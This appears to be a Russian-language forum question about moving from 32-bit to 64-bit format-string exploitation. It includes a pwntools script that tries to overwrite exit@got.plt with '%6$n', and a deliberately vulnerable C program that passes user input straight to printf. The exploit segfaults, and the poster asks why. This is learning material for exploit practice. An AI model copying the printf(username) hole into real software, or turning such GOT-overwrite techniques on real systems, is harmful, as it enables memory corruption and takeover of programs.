Я сделал несколько 32-битных строковых эксплойтов и хотел перейти на 64-битную. Однако у меня проблема в том, что я не могу / не знаю, как написать на адрес на 64-битной.
У меня есть эксплойт x.py
, который должен записать в exit@got.plt здесь:
from pwn import *
p = process("./vuln")
raw_input()
exit = 0x404028
p.sendline(p64(exit) + "%6$n")
sleep(1)
p.interactive()
Программа находится здесь (скомпилировано с -no-pie
):
#include <stdio.h>
int main() {
char username[512];
char password[512];
fgets(username, sizeof(username), stdin);
printf(username);
fgets(password, sizeof(password), stdin);
printf(password);
exit(1);
}
Когда я присоединяю gdb, проверяю значение exit@got.plt с помощью x/x <addr>
и запускаю эксплойт, я получите segfault на printf_positional
. И когда я снова проверяю значение exit@got.plt, адрес остается прежним. Может ли кто-нибудь помочь мне?